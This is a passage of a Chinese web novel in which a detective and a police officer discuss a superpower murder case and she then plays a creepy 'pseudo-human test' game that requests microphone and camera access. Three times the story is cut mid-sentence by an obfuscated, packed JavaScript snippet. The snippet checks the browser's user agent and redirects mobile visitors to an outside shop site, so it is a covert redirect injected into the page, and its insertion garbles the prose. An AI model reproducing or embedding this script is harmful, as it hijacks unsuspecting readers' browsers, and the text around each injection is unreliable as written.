比如诞师大传染性精神病案件的卷宗,肯定是经过讨论,层层批示,才能让她阅读。 虽然看完后进万花筒也什么都不记得。 她现在要做的是证明自己有更多的作用、更大的价值,值得他们去打这个报告。 陈影笙就是这样的侦探,她极其渴求真相,也享受获得真相的过程,驱使着她不断破案的只有真相。 “藏木于林。”陈影笙再次拧开矿泉水的瓶盖,“剑侠让任珊珊装成伪人吓唬刘天怡,是想让你们误以为刘天怡死于伪人游戏,藏尸于海。” 李颖隔着会议桌和左絮飞对视了一下:“所以不是伪人游戏致死,是凶手在故弄玄虚。” “但伪人游戏在社交网络上爆火有半个月了,这期间确实死了两个人,两人死前都玩过游戏。”陈影笙摸着瓶盖上的纹路。 “既然万花筒能收集到超能力残留物,为什么不在二位死者身上试一下呢?” 一阵沉默。 “唉。”李颖叹气,“我们试过了,什么都没收集到。” “你们会去收集说明警方也怀疑两人死于伪人游戏,那么他们的死因是不是相似?不对,应该是相同的死因和相似的死状且二人——” “行了!”老王打断了陈影笙自顾自的推理,“别在这儿说出来。” “也别说出去。”李颖苦笑,“这是目前无法确定的事,我们不想引起恐慌。” 陈影笙大幅度点头,把剩下半瓶水喝光。 “都这么晚了,快回去睡觉吧。”老王趁她喝水没法说话,抓紧时间赶人。 生怕她再多问问题,推测出不该知道的东西,老王站起来:“小左啊,你送送小陈,她都累一天了。我和李队还有个会,就不送了。” 陈影笙一口水没咽下去,老王夹着李颖大步走出会议室。 顾不上嘴里的水,陈影笙急着问出最后一个问题:“王队别走!万花筒能从活人身上收集超能力残留物吗?” 老王厚实的背影停顿了一下,像是没听见她说的话,裹挟着李颖落荒而逃。 会议室马上安静下来,左絮飞隔着会议桌和她大眼瞪小眼,拉屎布偶蹲在桌子正中间惬意地舔毛。 “你刚才说且二人什么?”左絮飞为了缓解尴尬,问了个老王不让继续说的问题。 “且两个死者必然没有任何关联,才会让警方怀疑是超能力者主导的无差别杀人案,进而将注意力集中在两人唯一的共同点,都玩过伪人游戏这件事上。” 左絮飞挑了挑眉,他既没有否认,也没有承认这个说法,他转移话题:“你家在哪?我送你。” “谢谢,不用了。”陈影笙把猫抱起来,猫发出一声不满的叫声,“我开车来的,事务所离这儿不远。” “猫给我,我送你上车。” 他实在是太客气了,这么点距离还要送,陈影笙刚想拒绝,拉屎布偶就快乐地跳进左絮飞怀里。 陈影笙合理怀疑拉屎布偶是人变的,它简直像是听懂了左絮飞的话。 两个人并肩走出会议室,左絮飞颠了颠怀里的胖猫:“怎么给它取这个名字?” “我弟弟取的,全名叫‘只会吃饭拉屎睡觉的破猫像个布偶一样’,因为名字太长,宠物医院的系统录不进去,只好简称拉屎布偶。” “那也应该叫吃饭布偶吧!”左絮飞吐槽,“你还有弟弟?” 外界确实少有人知道伯劳侦探有个养子,陈影笙也是在父亲去世后才知道的。 “不是亲弟弟,是我爸收养的。” “和老王家女儿一样?” 王锐斌的女儿也是收养的,而且据说是某大型超能力犯罪团伙的受害者,被解救出来后有点傻傻的。 “还是不一样的,那孩子太可怜。”陈影笙从左絮飞手里接过依依不舍的猫。 她解释:“我弟弟和老王女儿是同班同学,她的事我多少听说过一点。” 左絮飞了然地点头,和猫告别:“再见,只会吃饭拉屎睡觉的破猫像个布偶一样。” 23. 男孩子穿裙子 左絮飞回到队里找老王,老王当然没会可开,开会是他的常用借口。 “这么快就回来了?”王锐斌思索了一下,随后大惊失色,“不对,你放她自己走了!” “她开车回去,很安全。”左絮飞茫然地看着老王,不懂他为什么这么慌张。 老王竖起耳朵:“快追,我没听见门岗有给车抬杆的声音,她还没出大院。” “这是任务吗,监视侦探幻忆师?”老王严阵以待的样子让左絮飞摸不着头脑。 “是怕她转头去见记者把伪人游戏的事说出去?她都做过那么多次外援侦探了,不是那种会乱说的人吧?” “不是让你监视她,她也不会把这里的事告诉别人,她讨厌媒体采访。” 窗外传来一声猫叫,人和猫都没走。 “让你跟着她回去,是防止她搞事。” 左絮飞不以为然:“她能搞什么事?” “这可是老陈女儿,她以前破案子时捅的篓子你不知道,但你肯定知道伯劳侦探干过的事,她在这方面完全是老陈亲生的。” 回忆起关于伯劳侦探的奇怪报道,和超管局里的离谱传闻,左絮飞陪着老王一起加快脚步。 他不确定地说:“不至于吧,这都半夜11点了,她还在万花筒里忙活一天,应该没精力再去做什么。” 老王急匆匆地下楼梯:“去年她破的那个直视太阳案你知道吗?” “听说过,不是咱们市的案子。” “有个被害人是诞江市的,我也跟着去了,亲眼看见她两天两夜没睡,一路追在超能力者后面。” 一眼看见停在院子里的凯迪拉克,老王松了口气:“还没走,你开她的车把她送回去。” “好。”左絮飞一口答应下来,“回来后我要申请调去查狂徒。” “不行。”老王斩钉截铁地说。 左絮飞一声不吭地望着远处花坛边鬼鬼祟祟的陈影笙和拉屎布偶。 老王加重了语气:“狂徒肯定有人去查,他的身份已经被探明了,但那个人不能是你。” “我做梦都想要抓他,现在终于知道他的真实身份,你不能拦着我。” “抓他?你知道他在哪?”老王从鼻子里发出一声冷哼。 “如果他真的是赵建宇,三年前他才15岁,就能犯下那么残忍的大案,况且他背后的超能力犯罪团伙疑似是Agape,不会让你轻易找到他。” 陈影笙似乎发现了他们,抱着猫朝车的方向走来,猫不配合地扭动着肥胖的身体。 老王耐心地继续劝阻:“这件事急不得,你先把她送回去。” “也不是光让你送她,你听听她怎么分析的案子,她肯定还有在万花筒里没说出来的发现,等着我去打报告给她看案卷让她参与查案,她才愿意说出口,这方面鬼得和她爸一模一样。” “不过她比伯劳好点,她作死前好歹会跟你打个招呼。” 她不需要睡觉吗?左絮飞的疑问没能问出口,因为陈影笙过来了,还热情地和他们打招呼。 虽然语气听不出半点热情:“王队!开完会啦?” “现在没别人,别叫王队了。”老王像是没听见开会俩字。 “这么晚了不回去啊,晚饭吃饱了吗?要不让小左代驾吧,你都低血糖了。” 陈影笙晃了晃手里的猫:“马上回去,拉屎布偶一上车就想拉屎,我刚才带它去那边花坛解决完。” 老王不由分说地拉开驾驶座的门:“小左啊,她这车是自动挡的,好开,你把她送回去。省得她半道上低血糖犯了,我还得去交警大队捞人。” “我刚吃完饭,不至于再次低血糖。”陈影笙哭笑不得,看着左絮飞低头钻进车里,没给她拒绝的机会。 她抱着猫坐在了后座:“我和猫坐后面,拉屎布偶太喜欢你了,坐前面怕它打扰你开车。” 给她把门关上,老王还不放心:“俩人路上慢点,晚上虽然车少,但有的车开得特野。” “知道了知道了。” 等银灰色的凯迪拉克缓缓驶出院子,老王才转身走进大楼。 “他以前没那么唠叨。”陈影笙一把握住猫的两条前腿,防止它跳到前排干扰驾驶员。 “人上了年纪都有点唠叨,不过老王属于老当益壮型唠叨。” 陈影笙很给面子地笑了两声,随后车里陷入一片寂静,连猫都不再发出声音,只有导航机械的语音声。 说是要听陈影笙分析案子,但左絮飞完全不知道该从何开启这个话题。 按理来说,人家劳累一天,工作也结束了,此时不应该再提及和案子相关的事,应该聊聊轻松愉快的话题。 道理左絮飞是懂的,可他实在不知道该聊什么,他平稳地开着车,通过后视镜观察后排。 坐在后排的人也在通过后视镜观察他,两个人的眼神在狭长的镜片中对上了。 “你也进过苏莉的万花筒吧。”陈影笙突兀地开口。 又来了,这种陈述句语调的问句,左絮飞有点明白老王为什么非让他把人送回去。 他没有否认:“进过。” 陈影笙若有所思:“万花筒给你安排的也是假千金的女性身份吗?” 不合时宜的想象力在此时超常发挥,陈影笙面无表情地想象一米九体格结实的左絮飞穿酒红色礼服的模样。 男孩子,穿裙子。 “进去的人用的都是相同的身份,相同的身体。”左絮飞打断她的想象。 陈影笙又想起街角的云吞:“苏莉到最后都没有恨上杀害她的凶手,这种以爱为名的杀人方法太残忍了。” 车窗外的夜景一格一格后退着,左絮飞幽幽地说:“会让犯人付出代价的,从狂徒开始。” 前面是红灯,左絮飞想起来老王的嘱托:“关于‘东西’,你有什么想法吗?” 陈影笙知道却说不出来,她只能说:“我不知道。” “我甚至不知道刘天怡那段消失的记忆是不是真的。” “为什么这么说?”红灯变绿,左絮飞踩下油门。 “记忆里我操作着刘天怡的身体,选择躲进赵建宇的宿舍,目睹他杀死被附身的婉婷。” “我认为真正的刘天怡不会这么做,即使她真的这么做了,最后她是如何脱险的?找回能力的赵建宇想杀了她。” 左絮飞皱眉:“狂徒确实是那种残忍弑杀的人,他想杀一个人必定会执行到最后一步。” “你好像很熟悉狂徒?他不是活跃于边境和金三角地区的通缉犯吗?”陈影笙的手机响了一声,她低头回消息。 “你知道他是狂徒?” 陈影笙简单解释:“我有看公安通缉令的习惯。” 联想到她出名的记忆力,左絮飞了然,他平静地说:“我毕业后就被派驻到南方边境,参与过联合抓捕狂徒的行动。” 从后视镜里,陈影笙看到他眼中沉沉的光,意识到抓捕行动恐怕没他说的这么轻松平和。 “他所在的犯罪组织呢?是Agape吗?” “没露过头。”左絮飞打开天窗,“在今天你破解刘天怡的万花筒前,没人认为他和Agape有关联。” “多方判定他背后必然有一个目的不明的犯罪组织,但狂徒本人从不承认。” “他就像的一条野狗,独自在金三角流窜,与所有势力好像都有关系,又好像不是他们任何一方的人。” “那个附身婉婷的修女呢?”陈影笙不等左絮飞回答,否定了自己,“夺舍这么诡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116185|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异的能力,即使出现了也很难发现。” 左絮飞摇头:“如果爱人、狂徒、修女和剑侠都是同一组织的,他们这个组织很像本我教。” “还有沈教授和李老师。”陈影笙补充。 “确实很像本我教隐名教会,任珊珊在想起刘天怡没有超能力后,立刻意识到自己被骗,说明他们这个组织极其排斥普通人。” “最开始,我们没人认为这个案子水这么深,只觉得和伪人游戏有关。” “因为王悦说刘天怡看见了婉婷?可是万花筒里的大学世界从没出现过婉婷。”陈影笙在手机屏幕上飞速打字。 左絮飞看了一眼后视镜,像是在看后面的车,也像在看陈影笙,他没有说话。 “伪人游戏的那两个死者生前也见过已经过世的人,还都7天不出门?”陈影笙立刻问。 “是疑似因伪人游戏而死的两位死者。”左絮飞纠正她,没有再继续往下说。 其实左絮飞已经说得足够多了,却还是不透露那两位死者相关的事,陈影笙有种一拳打在棉花上的无力感,她问了个问题:“你玩过伪人游戏吗?” 这下左絮飞不从后视镜看她,而是忍不住回头看她。 陈影笙不得不提醒:“你看路。” 左絮飞把头扭回来:“没玩过,这是恐怖游戏。” “我也没玩过,一会试一下。” 王锐斌不愧是多年老警察,他简直料事如神,左絮飞的头隐隐作痛: “先不说这游戏的初始版已经被删除了,现在网上能玩的全是迭代过的版本或拿伪人当噱头的新游戏。” “关键是,你不累吗,你今天在万花筒里忙一天了。” “不累,我找人要到了初始版。”陈影笙的表情在手机的光照下看上去很愉快,“网络上发表过的东西一定会留下痕迹。” “这游戏被媒体炒作得很邪乎。”左絮飞转进一条单行道,“实际上哪有那么诡异,说什么一玩就死,刚上架时好多人玩了,什么事也没发生。” “你不认为两个死者是因为伪人游戏死的。”陈影笙放下手机,抬头通过后视镜观察左絮飞。 左絮飞不回答她的问题,他伸手关闭导航:“快到了,停哪里?” “别开进去,停左手边的公共停车场”陈影笙放开猫,“这片地方路边都不让停车。” 在历史上,诞江市曾是租界,市中心地区遗留了数不清的各国建筑,最有名的几条街是景区,其余建筑在受到保护的基础上作为商用房民用房继续使用。 一大片洋楼建筑群混杂着现代化的高楼大厦是诞江市的特色,但也制造出所有人都避不开的交通问题。 百年前修路时没有汽车,洋楼间的道路全是为马车和行人修的。 这样的道路放在一百多年前是超越时代的宽敞干净,放在现在明显不够用。 市中心很多小道都是狭窄的单行道,自然没地方停车,要停也只能停在离房子很远的停车场。 左絮飞停好车,走过两个路口看见一条小道,陈影笙的事务所就在里面。 他赞叹:“这地方真不错,离景区说远不远,说近不近,既干净又清净。” “旅游旺季时还是会有点吵。”陈影笙客气地邀请左絮飞,“辛苦你送我回来,要不进去坐坐?” 正合了左絮飞的想法,他想看陈影笙玩伪人游戏:“好,打扰你了。” 陈影笙有点诧异,实际上她只是邀请一下表示感谢,没想到左絮飞真要来做客,她有理由怀疑是老王让左絮飞来的。 但她很快就没功夫怀疑人家老王,因为她发现自家院子的围墙有被翻越的痕迹。 她定定地站在单行道路口前唯一被路灯照亮的地方,幽幽地望着前方。 24. 伪人测试 “怎么了?”左絮飞关切地问。 陈影笙在路口站的时间有点长,左絮飞有些担心她,他尝试开个玩笑:“是不是我开错地方了,这里不是你的事务所?” 似乎才回过神来,陈影笙转头笑了笑:“确实不是事务所,我们还在万花筒里。” “这可不好笑。”左絮飞干巴巴地说。 陈影笙有意转移话题:“万花筒被发明后没什么保险措施吗?如果有人出来后分不清现实和万花筒怎么办?” 陈影笙踏入单行道,左絮飞跟在她身后:“在万花筒里会忘记有关自己的一切,这就是保险措施。” “这可不是什么万全的保险措施。”陈影笙不赞同地摇头,“如果在万花筒里被强行告知自己的身份,会容易混淆现实和虚幻。” “有强制唤醒的办法,今天老王拿强光照你的眼睛就是在强制唤醒。怪谈结束后你在里面停留太长时间不出来,老王急坏了。” 他们沿着路边法国梧桐和洋楼铁艺栏杆投下的阴影边聊边走,两句话的功夫走到事务所门口。 事务所是栋砖石结构的二层小楼,墙面用深色砖块铺贴,与白色的门窗框形成颜色上的对比。 在建筑的正面,有一个大型琉璃窗连通上下两层楼,彩绘琉璃由不同颜色的小方格组成,华丽且富有层次感。 楼前面是一个小小的院子,院子小到放不下一辆自行车,似乎只起到装饰的作用。 左絮飞忍不住多看了一会琉璃窗,陈影笙把猫放在院墙上,猫轻轻地叫了一声,拖着长尾巴在墙上走了一个来回。 低下头,左絮飞看见门口的两块牌子,一块是洋楼建筑群每栋楼都有的,上面写着两行字。 【诞江市历史风貌建筑 等级:一般保护】 另一块牌子上写着“幻忆师侦探事务所”。 前三个金属立体字的间距比后两个字窄,看上去也新一点,黄铜色金属上没有太多被岁月腐蚀的痕迹。 发现他在看牌子,陈影笙主动解释:“以前叫伯劳侦探事务所,我在这办公后换了名字,但不想换牌子。” 左絮飞不知道该不该安慰她,只好沉默地点头。 等她掏出钥匙开了院门,两人来到大门前,左絮飞上前一步挡住陈影笙:“等等。” 陈影笙放下对准锁孔的钥匙,左絮飞一把推开门。 门没有上锁,左絮飞立刻进入警戒状态。 “别那么紧张。”陈影笙不以为意地说,“是我出去时忘锁门了。” 鬼才信她说的话,她15岁时就靠照相式记忆破案了,当时甚至有专家怀疑她的超强记忆力是一种超能力。 后来经过验证,发现她的记忆力没有发动条件,那群专家才罢休。 左絮飞转过身把她堵在门口,他的高大身形几乎要顶到门框上,在门口投下一片阴影。 他说:“你不可能忘锁门,有困难找警察,你肯定知道吧?或者我把老王叫来你才会说实话?” 他的神情相当严肃,还把门框堵得严严实实,陈影笙1米73的身高在他面前像个小矮人。 陈影笙不得不仰头看他:“我那是记忆力,不是超能力,只能记住刻意想记的东西。我是个普通人,普通人会忘记锁门。” 左絮飞明显不信,用一种狐疑的眼神从上往下俯视她。 “真的,而且房子带个小院子,院门还有一层锁,我有时候去附近买东西不锁大门只锁院门。这地方靠近旅游景点,治安不错,路上又有监控,从没出过问题。” 左絮飞开始掏手机,俨然要联系老王。 “你问问老王,他那儿还有我事务所的一把备用钥匙,我有时会忘带钥匙。” 左絮飞这下有点信了,他微微歪头,似乎在思考。 “我小学时还忘带过班费。”陈影笙为了取得信任,甚至开始讲自己小时候的囧事。 “我没遇见危险,没人会想不开闯进一个侦探的家。快让我进去,我要玩伪人游戏。” 如果真有什么不对,左絮飞一直故意背对着屋内,危险人物早该出现了。 他沉默地侧过身,把人放进去,看着陈影笙打开了灯。 左絮飞立刻被头顶的琉璃天花板吸引了全部注意力。 屋内是开放式布局,有一个挑空的大客厅,屋顶有两层楼高,天花板上的彩绘琉璃和建筑正面大琉璃窗的图案一模一样。 天花板下方悬挂着几盏老式吊灯,吊灯表面也是由方格组成的图形,此时正散发着柔和的光,把琉璃顶照得微微发亮。 “白天更好看。”陈影笙邀请他,“有时间白天来喝茶。” 左絮飞称赞了琉璃顶,跟着陈影笙走上二楼。 走进二楼书房,陈影笙向四周看了一圈:“这台电脑卡得厉害,去我卧室拿笔记本下游戏吧。” “你在找什么?”左絮飞突然问。 “给你找把椅子。”陈影笙拖着书桌前带滚轮的办公椅,把椅子塞进左絮飞手里。 两个人来到卧室,陈影笙打开笔记本电脑。 “要不还是回书房吧。”左絮飞单手提着办公椅,像是拎着一件玩具。 事务所的办公椅办公桌都是陈影笙的一个老客户给挑的。 老客户是专门做办公家具的老板,听她要买家具后立刻精心挑选,选出来“配得上房子的漂亮货”。 这批家具又贵又漂亮,也是真的沉,老实说陈影笙买完有点后悔,因为不好挪动。 她实在不明白,左絮飞为什么非把重椅子拎在手里,而不是把它放下推着走。 “别拿着椅子,怪沉的。你坐这儿等一会,我去倒杯水,游戏马上下载好。” “不沉,推着麻烦。”左絮飞颠了颠椅子,“我们回书房吧,我这么进你卧室不太好。” 他厚着脸皮说出这句话,耳朵有点红。 实际上,他如果真觉得不太好,从陈影笙客气地邀请他来事务所时就该拒绝了,他显然察觉出书房里有什么。 这种时刻,越拒绝越显得心虚,陈影笙迅速拔下电源线,抱着笔记本带头回到书房。 书房里静悄悄地,不像是有异样的样子,左絮飞终于舍得把沉重的椅子放下,游戏正好下载完毕。 “有水吗?”左絮飞主动问。 陈影笙从书桌下面拿了两瓶矿泉水,点开电脑桌面上名为“伪人测试”的黑色图标。 游戏画面是相当简洁的黑底白字风,进去后甚至没有初始界面,只有屏幕正中间的“开始测试”四个字。 点击开始后,伴随着一阵舒缓的音乐,AI合成的机械女声缓缓响起。 “欢迎落座,即将为您开启一次沉浸式测试体验。请用最舒适的姿势安坐在座位上,随时调整坐姿,并轻轻拾起您桌面静候的鼠标,按照指示参与互动,您的参与至关重要。” 陈影笙放松地靠在椅背上,虚虚握住鼠标。 “测试期间,除按动鼠标的手指外,禁止活动任何身体部位,严禁转动脖子及眼球,务必将视线集中在屏幕中间一点。” 这不是前后矛盾吗?左絮飞皱了皱眉,他旁边的陈影笙一动不动。 “本测试由伪人探测部门(D.D.D.)精心策划,旨在深入剖析当前世界面临的最紧迫挑战,并向您传授宝贵的知识与技巧,以确保您与您的家人安全无虞。” “在通过完整的测试后,我们会向您发送伪人的特征,请您将来之不易的知识打印成传单分发给所有人。” 机械女声温和有礼,不知疲倦地用同一语调朗读:“你现在看到的所有信息均为机密,禁止对任何——” 停顿1秒后,机械女声继续说:“熟人——分享这些信息,请将信息分享给——” 又是1秒左右的停顿:“陌生人。” 先不提这段话语中前后冲突的内容,最后一句话实在是太像公交车的到站语音。 比如“下一站即将到达的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126926|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【站名】站,请准备下车的乘客提前做好准备,带好您的随身物品”,这种提前给站名留出空白几秒的预录语音。 陈影笙控制住自己攥紧鼠标的冲动,遵照指示不活动身上的任何部位。 “以下是三组练习,每次会出示两张图片,选择你认为是伪人的那张。” 黑底的背景中出现两张照片,像是PPT初学者制作的,用的是花里胡哨的淡入效果,照片仿佛从黑色的背景中用力钻出来。 第一张照片是一个普通正常的中年女人,第二张照片上表情忧郁的年轻男人一只眼睛大一只眼睛小。 由于照片像素太低,分辨不出这是他本来的长相,还是经过PS处理后的变化。 陈影笙晃动鼠标,在界面上寻找暂停键或退出键,她什么都没找到。 能点击的只有两张照片,想退游戏只能用快捷键切出任务管理器,或者用最粗暴的方法,长按电源按钮几秒钟后硬重启。 “这简直不像个游戏。”左絮飞忍不住说,“像是我在安定医院做过的心理测评。” 没有回答他的话,陈影笙遵从开头的指示,沉默着点击第二张照片。 照片上的男人突然说话了:“为什么选我?” 整个屏幕只有照片上男人的嘴在动,他的声音在舒缓的背景音乐中显得又闷又沉,不带一丝感情,但能听出是真人配音。 大小眼男人话音刚落,屏幕上弹出一个对话框。 【伪人测试申请使用麦克风】 这不是游戏内容,是Windows系统自带的提示,陈影笙提前在隐私设置中取消了这个游戏对所有敏感事项的访问权限,包括麦克风、摄像头、位置信息以及文档照片。 “别给它授权。”左絮飞阻止陈影笙,“万一它录下你的声纹上传到不知名的网站呢?” 陈影笙断开无限局域网,关闭蓝牙,并取消任何其他形式的Inte访问,阻止游戏上传数据。 她想了想,还是不放心。 如果游戏把数据缓存等联网再上传,还是会暴露隐私。她在后台打开控制面板,随时准备整个卸载游戏。 在左絮飞紧张的目光中,陈影笙点击确认授权。 大小眼男人重复:“为什么选我?” 陈影笙对着麦克风清晰说:“因为你的眼睛一大一小。” 话还没说完,照片上男人的眼睛消失了,只剩下黑洞洞的眼眶。 两张照片像是被人从屏幕下方拽走,新的一组照片用淡入的方式钻出来。 这一组照片很难分辨哪个是伪人,她们长得都不太正常。 第一张照片是位穿着保守的青年女性,她长相普通却没有眉毛,眉毛原本的位置被人用劣质眉笔歪歪扭扭地画上两根虫子一样的东西。 第二张照片是个体重超标的男人,他像是熬了个大夜,眼窝深深地陷入面部的脂肪中。比起黑眼圈,更像是凹陷下去的盆地。 沉默了片刻,陈影笙关闭麦克风授权。 “选第二个!”左絮飞迫不及待地说,“第一个女人只是不会化妆的人类,第二个肯定是伪人。” 选了第二张照片,进入下一组选项。 这次的两张照片都是再正常不过的正常人,如果一定要挑毛病,第二张照片上的年轻女人长得太完美了,她的脸简直是一张轴对称图形。 左絮飞也是这么想的,他举起手,遮住年轻女人的半边脸,再放下手,明显看出右边的脸是左边的镜面。 正常人类的脸在生长发育的过程中会有面部骨骼、肌肉、脂肪分布等软硬组织的微小差异,这些差异积累起来,造成了脸部的不对称。 陈影笙毫不犹豫地选了第二张照片,温和礼貌的机械女声突然响起:“恭喜您通过练习,您的三个选择全部正确。” “您是否对我们D.D.D.的存在和伪人相关问题仍有疑虑?” 鼠标停留在“否”字上,陈影笙没有点下去。 25. 入侵现实 如果将伪人测试当做一个致人死亡的游戏,把陈影笙看做玩完游戏会死的人,她此时应该选什么? 陈影笙不知道,左絮飞也不知道,他们实在无法代入到死者的视角来看待这件事。 陈影笙甚至有些后悔,她应该等老王打过报告,给她阅读案件卷宗的权限后,再来玩这款游戏。 不过幸好这是一个游戏,能再玩第二次,陈影笙遵从自己的意愿,移动鼠标选择了“是”。 她对伪人的存在充满疑惑,从内心深处,她像左絮飞一样,都认为伪人不可能存在。 “请您仔细阅读以下两段讲解。”机械女声说完这句话,屏幕上出现大段白色文字。 【恐怖谷理论最初是由日本机器人专家森政弘在1970年提出的,主要讨论的是当机器或仿真物体在外表和行为上接近人类但又不完全相同时,人们会对它们产生一种不适甚至恐惧的反应。 这个理论的核心在于,随着模仿对象与人类相似度的增加,人们的好感度会上升,但到达某一特定点后,好感度会突然下降,进入“恐怖谷”,之后随着相似度进一步增加,好感度才会再次上升。】 这个理论的下方又是一段文字。 【现代人类,即智人,是生物学分类中人科人属下的唯一现存物种。但人类在进化过程中并不是孤立存在的,地球上曾经存在过多种古人类,例如尼安德特人、丹尼索瓦人以及更早的一些古人类种类,如直立人等。 科学研究显示,智人与其他古人类之间存在着复杂的互动关系,包括竞争、交/配以及可能的冲突。有证据表明,在某些地区,智人的扩张与当地古人类种群的消失时间相吻合,这暗示着可能存在直接或间接的竞争关系。】 两段文字在黑色屏幕上停留了很长时间,久到陈影笙数完字数开始胡乱猜测末尾的“竞争关系”在指什么。 等她坐得背都开始隐隐作痛,新的文字终于显示出来。 【或许这听起来很不可思议,但在我们智人的进化过程中,我们杀死并吃掉了与自己类似的古人类,这些古人类也在猎杀捕食着我们智人。就像狼吃掉狗,马踩死驴,鹅啄出鸭子的眼睛。 智人通过莫大的努力与坚定的决心,付出一定代价,才成为人科人属下唯一现存物种,站在食物链的顶端。但是,在我们进化的过程中,与非智人的古人类敌对的记忆永远留存在我们的基因中。 因此,在早已没有敌人的今天,我们依旧本能地恐惧看起来像人但其实不是人的东西,这就是恐怖谷理论产生的原因。我们要珍惜祖先留给我们的本能,善于利用它,这不是我们的缺陷,而是先祖留下的宝贵礼物。】 用正常的阅读速度看完,一条血色的句子突然出现。 【因为它们回来了。】 “它们”在这里肯定指代伪人,但陈影笙隐隐感觉不对。 两段貌似很专业的科普得出伪人的存在是科学的结论,很像专门诈骗老年人的团伙带着一堆高档仪器去小区卖维生素药片做的保健品。 没给她胡思乱想的时间,又有一个对话框浮在文字上。 【伪人测试申请使用摄像头。】 与此同时,游戏中再次响起机械女声,那声音听上去莫名的恳切: “D.D.D.请求开启摄像头。请原谅我们,我们没有任何侵犯您隐私的想法,我们只想确认您并非伪人。确认无误后,D.D.D将给您发送伪人的特征。” 陈影笙谨慎地检查了一遍,把该关的都关好,才点下确认授权。 屏幕正上方弹出摄像头小窗,摄像头只照到陈影笙自己。 瞬间,一个模糊的黑影从小窗右边闪到小窗左边,仿佛是有什么东西从屏幕钻进摄像头,再从摄像头渗透到现实。 【检测到您的身边有人,请在保持封闭房间内仅有一人的状态下开启摄像头。】 这行血字出现的同时,左絮飞“腾”地站起来:“我根本没在镜头里,太离谱了!” 陈影笙还算冷静:“摄像头没被关闭,说明游戏其实不具备操控摄像头检查人数的功能,这只是一段必然会弹出来吓人的语句。” “要是玩家身边没人呢?”左絮飞没敢坐下。 “那更好,正好给玩家造成身边有看不见的伪人的诡异感。” “我们别玩了。”左絮飞真心实意地说。 陈影笙一动不动:“刚刚在车上你说伪人游戏‘疑似’会致人死亡,你明明不怕它也不信它,现在怎么变卦了?” “对,我怕了。”左絮飞竟然坦然承认了,“这游戏不断获取你的隐私,实在不安全,最好别玩了。” 那行血字消失了,新的白色文字显现出来。 【恭喜您通过伪人测试!D.D.D.向您提供伪人的特征。 1.普遍缺乏感情或感情转换生硬,面部特征怪异。 2.四肢异于常人,肢体语言与言语不符。 3.缺乏视线交流且动作不协调。 4.说话时有电音或延迟,可能会有语序语法上的错误。 阅读完毕请点击这里。】 四条特征与万花筒中任珊珊发的传单一模一样。 陈影笙安慰左絮飞:“你看,它就是在吓人。你没走,屋子里还是两个人,它依然算我通过,给我发了伪人特征。” 左絮飞拉开椅子准备坐下,陈影笙不给他这个机会:“所以你去书房外面等我吧,我玩完出去告诉你过程,或者换你再玩一遍。” 左絮飞震惊到忘记自己想说什么。 “拜托了,我想身临其境地体验受害者死前的心境,独自完成游戏。” “好吧。”左絮飞选择尊重她,他深吸一口气,“我就在门口,有任何事立刻喊我。” “没问题。” 伴随着房门被关上的细响,书房里终于只剩下陈影笙自己。 她立刻点击“阅读完毕”后面的按钮,机械女声响起:“我们将为您提供伪人真实视频。” 黑影再次模糊闪过,一条视频开始自动播放。 视频是用手机竖屏录制的,视角很矮,似乎是一个小孩子拿着手机录自己的姐姐。 小孩可能不太会用手机的录像功能,只录到姐姐的鞋子和小腿。 小孩快乐地追逐着姐姐的影子,兴高采烈地问:“姐姐,我们一会吃什么呀?” 姐姐的声音经过特殊处理,听不出原本的声线,倒是能听出是位年轻的女性。 她耐心地回答着小孩幼稚可爱的问题,两人踏着夕阳一路走在回家的路上。 整个视频实在是太普通了,普通且漫长到陈影笙怀疑这不是初始版游戏。 终于,电话铃声响起,视频黑屏后只剩下声音,手机好像被递到姐姐手里。 姐姐接起电话:“喂,我们马上到家。” 电话那头应该是二人的妈妈,声音也经过特殊处理:“你回来的路上买袋醋。” “可是我不顺路啊。”姐姐回答,“我来接妹妹了,没法路过那家超市。” “别闹了。”妈妈不耐烦地说,“你妹妹在家呢,不想买就直说。” “你说什——” 电话被妈妈挂断了,视频中出现了手机被抢走的噪音和姐姐凄厉的尖叫。 摄像头再次被开启,一张像是烧伤患者的伪人脸倒着出现在屏幕上,和陈影笙对视。 伪人点击结束录制的按键,视频结束了。 机械女声温柔地说:“以下是练习后的小考试,本次考试只允许通过练习的人参与,每次会出示两张图片,选择你认为是伪人的那张,并简述选择原因。” 第一组照片是刚刚视频里出现的伪人女孩和与她同龄的正常女孩,二人穿着一模一样的背带裙,拍照背景都是夏天浓郁茂盛的乔木。 正常女孩的照片极为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139143|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漂亮,简直像是摆在影楼橱窗里的样片或挂在购物网站首页的商品图。 